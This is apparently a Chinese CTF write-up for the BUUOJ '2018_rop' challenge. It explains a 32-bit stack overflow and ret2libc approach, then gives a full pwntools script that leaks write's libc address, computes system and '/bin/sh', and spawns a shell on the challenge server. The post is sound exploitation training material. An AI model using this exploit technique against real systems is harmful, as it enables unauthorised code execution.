首页 > 其他分享 >[BUUOJ]铁人三项(第五赛区)_2018_rop

[BUUOJ]铁人三项(第五赛区)_2018_rop

时间:2023-06-07 14:02:31浏览次数:59  
标签:addr libc BUUOJ write 2018 p32 铁人三项 payload


铁人三项(第五赛区)_2018_rop

checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret2libc,题目中给到了write函数,所以考虑使用write函数来泄露

关于write参数fd我找到了如下解释

write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.

概言之,就是0 stands for stdin and 1 stands for stdout,不一定正确,但是有助于记忆

from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./2018_rop')
elf=ELF('./2018_rop')
p=remote('node4.buuoj.cn', 26830)

main_addr = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x88+0x4) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()


标签:addr,libc,BUUOJ,write,2018,p32,铁人三项,payload
From: https://blog.51cto.com/u_15567308/6431275

相关文章

  • [BUUOJ]bjdctf_2020_babyrop
    bjdctf_2020_babyrop先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析main函数内很简单,进一步分析后找到关键函数vuln本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进......
  • Citect 2018 R2报警弹窗的实现方法
    我在新浪博客发表过这一篇学习笔记,不过新浪博客审查机制一直把其作为私密状态,可能出发了某些敏感机制吧。我在这里再记录一遍,以免丢失。我们现场有一个变频器室,周末发生了变频器空调坏掉,温度高,变频器停机造成生产中断的情况。由于变频器室无人值守,领导希望把变频器室的温度接入控......
  • 2018年湖南省对口高考计算机应用类《网络》部分试题分析
    ......
  • buuoj-2023六月挑战赛|二进制专项-a dream
    buuoj-2023六月挑战赛|二进制专项-Adream总结练习了一下做题手感题目分析沙盒lineCODEJTJFK=================================0000:0x200x000x000x00000004A=arch0001:0x150x000x080xc000003eif(A!=ARCH_X86_64)goto00100002:0x......
  • 2018WEB安全测试秋季预选赛WriteUp
    0x01input传送门:http://114.55.36.69:8003/题目上说前三道题目是容易的,于是就从容易的题目入手,为了拿到1血,手速飞快地点,emmm,一紧张忘了js输出语句怎么写了,百度后才发现,自己有多蠢alert啊!进入网址,发现一个输入框,查看源码,发现id="flag",后面有一段js代码<script>functionchec......
  • [HCTF 2018]WarmUp 1 做题笔记
     打开发现什么信息也没有,先看源代码, 发现隐藏信息 source.php试着打开  看到了class.emmm里面有个hint.php提示,试着打开提示flag不在这里,ffffllllaaaagggg,猜测是有四次过滤,再结合上面的classemmm代码,构造file=hint.php,然后试着用../../../../反过滤构造?file......
  • owsap top 10 2018
    OWASP-Top10Vulnerabilitiesinwebapplications(updatedfor2018) IntroductionOWASP(Openwebapplicationsecurityproject)communityhelpsorganizationsdevelopsecureapplications.Theycomeupwithstandards,freewaretoolsandconferencesthathelp......
  • 2018-2019,盖个时间戳
    2019第一个工作日,连续第12年的个人小结,不为别人,只是写给自己。先回顾一下之前的小结:2007的写在msn的space上,可惜这个产品已经死了好几年了,也没留底;2008~2013的写在iamsujie.com上;2014年开始写在微信公众号里。它们的标题如下。2007总结 2008展望2008年小结,我想,我就从这里开始2010......
  • [ROI 2018] Innophone 题解
    [ROI2018]Innophone看了半天网上仅有的一篇题解……才堪堪写出来不过在LOJ上看提交,全是KTT,看得我瑟瑟发抖(不会题意翻译在平面上有一些点,你需要在这个平面上任意确定一个点(不要求是给定的点),定义其贡献为横坐标\(\times\)其右侧的点\(+\)纵坐标\(\times\)其左上方的......
  • 20180315~20180322每天复习
    MPUSH架构图: 系统调用关系图: mpush目前支持如下消息类型 publicenumCommand{HEARTBEAT(1),//心跳HANDSHAKE(2),//握手LOGIN(3),LOGOUT(4),BIND(5),//绑定用户UNBIND(6),//解绑用户......